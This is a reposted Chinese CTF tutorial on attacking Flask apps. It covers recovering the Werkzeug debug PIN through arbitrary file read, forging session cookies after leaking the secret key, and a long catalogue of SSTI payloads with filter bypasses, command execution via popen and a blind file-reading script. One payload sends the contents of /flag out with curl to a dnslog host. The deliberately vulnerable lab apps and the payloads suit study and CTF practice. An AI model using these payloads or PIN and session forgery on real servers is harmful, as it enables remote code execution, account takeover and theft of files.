淺談flask與ctf那些事


本文首發於“合天智匯”公眾號 作者:HhhM

flask安全

最近跑了培訓寫了點flask的session偽造,沒能用上,剛好整理了一下先前的資料把flask三種考過的點拿出來寫寫文章。

debug pin

本地先起一個開啟debug模式的服務:

# -*- coding: utf-8 -*-
from flask import Flask
app = Flask(__name__)

@app.route("/")
def hello():
    return 'hello world!'

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=8080, debug=True)

本機啟動時會打印出如下:

Use a production WSGI server instead.
 * Debug mode: on
 * Restarting with windowsapi reloader
 * Debugger is active!
 * Debugger PIN: 284-467-555
 * Running on http://0.0.0.0:8080/ (Press CTRL+C to quit)

多次啟動會發現打印的PIN碼是相同的,分析源自參考鏈接,可以得出debug pin由六個值決定:

  • 用戶
  • flask.app
  • Flask
  • flask目錄下的一個app.py的絕對路徑
  • 當前電腦的MAC地址,為mac地址的十進制表達式
  • 首先嘗試讀取/etc/machine-id或者 /proc/sys/kernel/random/boot_i中的值,若有就直接返回;假如是在win平台下讀取不到上面兩個文件,就去獲取注冊表中SOFTWARE\\Microsoft\\Cryptography的值,並返回

也就是我們如果能夠偽造這六個值我們就能夠生成一個一模一樣的PIN碼了。

靶機測試

而要獲取這六個值我們可以通過任意文件讀取來獲得,因此本地寫一個文件讀取的漏洞點,並且為了方便寫一個報錯頁面,放docker上啟動:

# -*- coding: utf-8 -*-
from flask import Flask, request
app = Flask(__name__)

@app.route("/")
def hello():
    return Hello['a']

@app.route("/file")
def file():
    filename = request.args.get('filename')
    try:
        with open(filename, 'r') as f:
            return f.read()
    except:
        return 'error'

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=8080, debug=True)
  • flask.app
  • Flask
  • 獲取machine-id

直接訪問即可:

http://172.19.75.19:30000/file?filename=/etc/machine-id
32e48d371198e8420c53b0a1fa37e94d
  • 獲取mac地址
http://172.19.75.19:30000/file?filename=/sys/class/net/eth0/address
02:42:ac:11:00:02
print(0x0242ac110002)
2485377892354
  • 用戶名從報錯界面可以獲得

使用腳本即可獲得pin碼:

import hashlib
from itertools import chain
probably_public_bits = [
    'root',# username
    'flask.app',# modname
    'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/local/lib/python3.5/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
    '2485377892354',# str(uuid.getnode()),  /sys/class/net/ens33/address
    '32e48d371198e8420c53b0a1fa37e94d'# get_machine_id(), /etc/machine-id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

 

得到:

284-995-758

在debug頁面輸入后成功執行代碼。

session偽造

p神文中提到一個客戶端session,flask中的session是存放在cookie中的,那么cookie中的字段在客戶端訪問時是可以被修改的,這就是客戶端session,像php的session是存放在服務器中的,django的session可以存放在數據庫中,也可以以文件形式存放在服務器中。

而flask的客戶端session需要解決的就是防篡改問題,p神總結出來為以下四點:

  1. json.dumps 將對象轉換成json字符串,作為數據
  2. 如果數據壓縮后長度更短,則用zlib庫進行壓縮
  3. 將數據用base64編碼
  4. 通過hmac算法計算數據的簽名,將簽名附在數據后,用“.”分割

因此,防篡改的功能位於第四步,也就是簽名,在前面學過jwt感覺是差不多的,簽名不對的話服務端是無法通過驗證的。

寫一個flask應用后給session賦值(非正式寫法):

from flask import session
session['user'] = 'tom'

可以看到cookie中是有這么一段東西:

session=eyJ1c2VyIjoidG9tIn0.XzVf_w.Is2SqC_MS8NIBynok5BQpmldBLI

解密后我們看到:

前半截是一個json串,后半截就是一個簽名了,倘若有一個ssti,我們通過如{{config}}讀取到密鑰,那么就可以通過flask-session腳本來偽造session,替換上cookie之后即可達成session偽造。

靶機測試

通過ssti獲取到密鑰:

http://127.0.0.1:8080/?a={{config}}

抓包獲取session,解密取得格式。

{"user":"tom"}

工具偽造session:

$ python3 flask_session_cookie_manager3.py encode -s 'hello world' -t '{"user":"admin"}'

eyJ1c2VyIjoiYWRtaW4ifQ.Xzqkag.jq8cULYNeQYVZiH-2Fe3cAfECk4

替換后:

 

ssti

老生常談的問題,一直沒總結,稍微寫寫。

先前對於ssti的理解不是很清晰,只會解一些稍簡單的ssti,前段時間想出個flask的ssti才發現原來並不是模板中的變量可控就會導致模板注入,一個典型的模板注入如下:

from flask import Flask, render_template_string, request

app = Flask(__name__)


@app.route('/', methods=['GET', 'POST'])
@app.route('/index', methods=['GET', 'POST'])
def index():
    template = '''
        <div>
            <h3>%s</h3>
        </div>
    ''' % (request.url)

    return render_template_string(template)

此種形式存在着變量可控的,同時使用了一個不固定的模板,此時就造成了一個ssti,應該認識到的是實際場景很少有ssti的漏洞,因為像這樣寫模板如果代碼量少的話確實方便,但代碼量多的話都會寫成下面的形式了:

def index():
   return render_template("index.html",title='Home',user=request.args.get("user"))<html>
  <head>
    <title>{{title}}</title>
  </head>
 <body>
      <h1>Hello, {{user.name}}!</h1>
  </body>
</html>

這種情況下是模板先渲染后我們再傳入變量,此時代碼是安全的;那么目前主題是ssti,當然要繼續以不安全的代碼來測試一下ssti :),為方便測試我們對第一套代碼再作修改:

from flask import Flask, render_template_string, request

app = Flask(__name__)
app.secret_key = "hello world"

@app.route('/', methods=['GET', 'POST'])
@app.route('/index', methods=['GET', 'POST'])
def test():
    template = '''
        <div>
            <h3>%s</h3>
        </div>
    ''' % (request.args.get("a"))

    return render_template_string(template)


if __name__ == '__main__':
    app.debug = True
    app.run()

運行,傳入路由:

http://127.0.0.1:5000/?a={{7*7}}

發現輸出49,此時就說明了能夠被利用來進行ssti的測試;那么前面學習session偽造時所需要的密鑰就可以通過config讀到:

http://127.0.0.1:5000/?a={{config}}

那么此處無論是采用%s、format或是其他形式的格式化字符串都好,只要我們的模板在被渲染之前就存在着某處可控,那么就存在着ssti的風險。

無過濾

以前稍微學過,再做個復習。

默認的,所有類追溯回去都能是有着一個object類,因為兩個py版本下會有差別,所以分兩個py版本進行測試。

py3.7

第一步先通過一個對象獲取到對應的類。

#-*- coding:utf-8 -*-
#__author__: HhhM

class MyownClass():
    def __init__(self):
        self.name = "a"


print(MyownClass().__class__)
print("".__class__)
print([].__class__)


"""
out:
<class '__main__.MyownClass'>
<class 'str'>
<class 'list'>
"""

可以看出來__class__是返回該對象所對應的類,下一步拿到基類,也就是object:

print(MyownClass().__class__.__base__)
print("".__class__.__base__)
print([].__class__.__base__)

"""
out:
<class 'object'>
<class 'object'>
<class 'object'>
"""

那么這里也能得到__base__的作用,獲得其是獲得類所繼承的類,可以看到構造出來是一樣的類(object),那么我們寫一個繼承類看看__base__輸出什么:

#-*- coding:utf-8 -*-
#__author__: HhhM


class MyownClass():
    def __init__(self):
        self.name = "a"

class MyownClass1(MyownClass):
    def __init__(self):
        self.name = "a"

print(MyownClass1().__class__.__base__)
print(MyownClass1().__class__.__base__.__base__)

"""
out:
<class '__main__.MyownClass'>
<class 'object'>
"""

所以我們拿到一個繼承類時可以通過base來層層回溯獲取到object類,獲取到object類后繼續:

print("".__class__.__base__.__subclasses__())
print("".__class__.__bases__[0].__subclasses__())
"""
out:
[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>,....]
"""

__subclasses__獲取的是當前類的子類列表,那么我們對應上面有繼承關系的MyownClass這個類獲取到的則是:

[<class '__main__.MyownClass1'>]

通過object類獲取到的是一個列表,因此可以通過列表取值的方式獲取到我們需要的類,然而會發現類太多了,找到了我們要的類也不知道他處於列表的哪個位置,可以簡單寫個腳本跑一下:

#-*- coding:utf-8 -*-
#__author__: HhhM
import json


a = """
<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict_keys'>, <class 'dict_values'>, <class 'dict_items'>, <class 'odict_iterator'>, <class 'set'>, <class 'str'>, <class 'slice'>, <class 'staticmethod'>, <class 'complex'>, <class 'float'>, <class 'frozenset'>, <class 'property'>, <class 'managedbuffer'>, <class 'memoryview'>, <class 'tuple'>, <class 'enumerate'>, <class 'reversed'>, <class 'stderrprinter'>, <class 'code'>, <class 'frame'>, <class 'builtin_function_or_method'>, <class 'method'>, <class 'function'>
"""

num = 0
allList = []

result = ""
for i in a:
    if i == ">":
        result += i
        allList.append(result)
        result = ""
    elif i == "\n" or i == ",":
        continue
    else:
        result += i


for k,v in enumerate(allList):
    if "os" in v:
        print(str(k)+"--->"+v)

我在128取到了<class 'os._wrap_close'>,我們通過調用它的__init__方法進行初始化類:

print("".__class__.__base__.__subclasses__()[128].__init__)

"""
<function _wrap_close.__init__ at 0x016E9A50>
"""

通過調用globals可以獲取到類內存在的方法、屬性等值:

print("".__class__.__base__.__subclasses__()[128].__init__.__globals__)

會發現是一個字典,因此我們只需要找到其內存在我們需要的值對應的鍵之后取值即可。

python3中沒有file對象,但還有open,因此有:

print("".__class__.__base__.__subclasses__()[128].__init__.__globals__["open"])

"""
<built-in function open>
"""

此時取到的open我在本地測試時會報錯,網上提示是被os的open模塊覆蓋了,測試后可以如下取到:

print("".__class__.__base__.__subclasses__()[128].__init__.__globals__['__builtins__']["open"]("2.py").read())

可以看出來各個環境下具體情況也會有區別,本地測試通遠程不通大多是這個原因了吧,倒是個需要記住的點。

還有個popen可以執行命令:

print("".__class__.__base__.__subclasses__()[128].__init__.__globals__['popen']("dir").read())

本地測試的話可以寫個腳本跑跑有什么可以用的,像找能夠構造出eval的類:

for i in "".__class__.__base__.__subclasses__():
    try:
        i.__init__.__globals__['__builtins__']["eval"]("__import__('os').popen('dir').read()")
        print(i)
    except Exception:
        pass

會發現的是只要擁有__builtins__的就可以構造出來。

os模塊也能如此利用:

"".__class__.__base__.__subclasses__()[128].__init__.__globals__['os'].popen('whoami').read()

py2.7

py3了解之后再回看py2會明了的多,首先是字符串取基類,我發現就是以py3的payload取:

print("".__class__.__base__)
print(().__class__.__base__)
"""
out:
<type 'basestring'>
<type 'object'>
"""

str類需要再套一層base才能取到object類,而其他內置類不需要。

然后找鏈的過程就大同小異了,py2區別py3的說就有一個file類,可以直接用來讀寫文件了,用上面的腳本跑出file對象對應的位置。

# 讀
print(().__class__.__base__.__subclasses__()[40]('2.py').readline())
print(().__class__.__base__.__subclasses__()[40]('2.py').readlines())
# 寫
print(().__class__.__base__.__subclasses__()[40]('2.py').write('context'))

bypass

下面環境皆以py3.7作為測試環境,起個docker,發現os._wrap_close處在第35的位置。

過濾base

過濾base之后還可以用mro:

class MyownClass():
    def __init__(self):
        self.name = "a"

class MyownClass1(MyownClass):
    def __init__(self):
        self.name = "a"

print("".__class__.__mro__)
print(().__class__.__mro__)
print(MyownClass1().__class__.__mro__)

"""
out:
(<class 'str'>, <class 'object'>)
(<class 'tuple'>, <class 'object'>)
(<class '__main__.MyownClass1'>, <class '__main__.MyownClass'>, <class 'object'>)
"""

包含了整條的繼承鏈,可以看到的是object一直處於最末,直接取-1即可:

print(().__class__.__mro__[-1])

取到object類后接下來的操作就一毛一樣了。

也可以用拼接:

print(().__class__['__ba'+'se__'])

過濾class

拼接:

{{()['__cla'+'ss__'].__mro__[-1]}}

這四個都是flask的內置對象,通過他們我們就可以獲取到object類了,拼接繞過的話是可以繞過大部分過濾的了。

如果這里mro被過濾了則可以嘗試用base一層一層溯源到object類

過濾中括號

利用__getitem__可以取第n位,如:

http://127.0.0.1:5000/?a={{().__class__.__mro__.__getitem__(-1)}}

也可以用pop彈出列表第n位:

{{().__class__.__base__.__subclasses__().pop(-1)}}

過濾雙大括號

可以考慮使用判斷語句:

http://127.0.0.1:5000/?a={% if "".__class__.__base__.__subclasses__()[128].__init__.__globals__['popen']("curl `cat /flag`.z2yw9j.dnslog.cn").read()=='test' %}1{% endif %}

無回顯可用curl外帶。

過濾subclasses

依舊拼接大法:

{{"".__class__.__base__['__subcl'+'asses__']()}}

感覺吧,只要沒過濾加號就能拼接繞過。

過濾關鍵字符

前面的話是構造獲取需要的方法鏈時的一個繞過,這里的話就是在命令執行時的繞過,主要是chr函數起的作用,像php或者是nodejs也有類似的玩法,chr()字符拼接達成繞過。

主要是從含有builtins的類中獲取到chr函數,如下:

"".__class__.__base__.__subclasses__()[35].__init__.__globals__['__builtins__']['chr']

模板語言還是不弱的,我們可以用來設置值簡化payload長度同時進行繞過:

{% set c = "".__class__.__base__.__subclasses__()[35].__init__.__globals__.__builtins__['chr'] %}{{"".__class__.__base__.__subclasses__()[35].__init__.__globals__['popen'](c(119)%2bc(104)%2bc(111)%2bc(97)%2bc(109)%2bc(105)).read()}}

過濾引號

過濾引號的話同樣可以用chr來繞過傳參時所需要的引號,只需要將先前的鏈中取值方式略作修改即可,取chr

{{().__class__.__base__.__subclasses__()[35].__init__.__globals__.__builtins__.chr}}

則執行命令為:

{% set c = ().__class__.__base__.__subclasses__()[35].__init__.__globals__.__builtins__.chr %}{{().__class__.__base__.__subclasses__()[35].__init__.__globals__.popen(c(119)%2bc(104)%2bc(111)%2bc(97)%2bc(109)%2bc(105)).read()}}

因為flask中存在着request這個內置對象,所以我們也可以利用request來繞過。

在使用模板時,當存在{{request.args.test}},在我們傳入?test=asd時即可指定其值為asd,並且默認的為字符串類型,我們可以借此來達成繞過引號。

如:

?a={{().__class__.__base__.__subclasses__()[35].__init__.__globals__.popen(request.args.cmd).read()}}&cmd=ls

事實上如果request對象沒被過濾的話,我們可以用此種方式繞過絕大部分過濾。

盲注

這個方法是從p0師傅的博客中看到的,就是利用if語句返回值來判斷語句是否為真,然后從輸出值來判斷結果。

py2的話可以用file對象,py3則可以用open。

#-*- coding:utf-8 -*-
#__author__: HhhM
import requests

url = 'http://172.23.129.221:12339/?a='

def check(payload):
    r = requests.get(url+payload).content
    return 'hhhm' in r

password  = ''
s = """
0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!$'()*+,-./:;<=>?@[\]^`{|}~"_%
"""

for i in range(0,100):
    for c in s:
        payload = '{% if ().__class__.__base__.__subclasses__()[35].__init__.__globals__.__builtins__.open("/etc/passwd").read()['+str(i)+':'+str(i+1)+'] == "'+c+'" %}hhhm{% endif %}'
        if check(payload):
            password += c
            break
    print password

過濾init

還有一個替代的__enter__,同樣的有paylod:

{{().__class__.__base__.__subclasses__()[35].__enter__.__globals__.__builtins__.open("/etc/passwd").read()}}

甚至還有另一個__exit__同樣可以替代:

{{().__class__.__base__.__subclasses__()[35].__exit__.__globals__.__builtins__.open("/etc/passwd").read()}}

base64繞過

簡單易懂,py2下可以不過py3因為其字符為unicode編碼,需要進行轉碼。

{{().__class__.__base__.__subclasses__()[35].__exit__.__globals__.__builtins__.open("X19pbXBvcnRfXygnb3MnKS5wb3BlbignbHMnKS5yZWFkKCk=".decode('base64')).read()}}

環境

配套docker已發布於github:https://github.com/a756379684/flask-sec-docker

參考

參考自:

https://xz.aliyun.com/t/2553

https://www.leavesongs.com/PENETRATION/client-session-security.html

https://xz.aliyun.com/t/7746

https://p0sec.net/index.php/archives/120

 

相關實驗

Flask服務端模板注入漏洞

https://sourl.cn/k3txYv

(通過該實驗了解服務端模板注入漏洞的危害與利用。)

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM